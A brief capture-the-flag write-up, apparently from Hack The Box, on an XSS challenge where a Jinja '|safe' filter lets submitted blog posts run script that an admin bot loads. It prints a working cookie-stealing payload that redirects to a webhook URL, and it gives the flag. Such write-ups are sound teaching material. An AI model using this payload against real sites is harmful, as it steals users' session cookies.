Challenge

A blog where you submit “quotes” that get posted and visited by an admin bot. The template rendered post content with {{ post.content|safe }} — the |safe filter disables Jinja’s autoescaping, so submitted HTML is rendered verbatim. That plus a cookie carrying bot is an easy XSS cookie steal.

Approach

Submit a quote whose body is JavaScript that exfiltrates document.cookie to a webhook. A plain script redirect worked for me:

1

<script>document.location='https://webhook.site/<id>?c='+document.cookie</script>

When the bot loaded the page, the flag arrived as the leaked cookie on the webhook.

Flag

HTB{m0r3_th4n_ju5t_al3rts}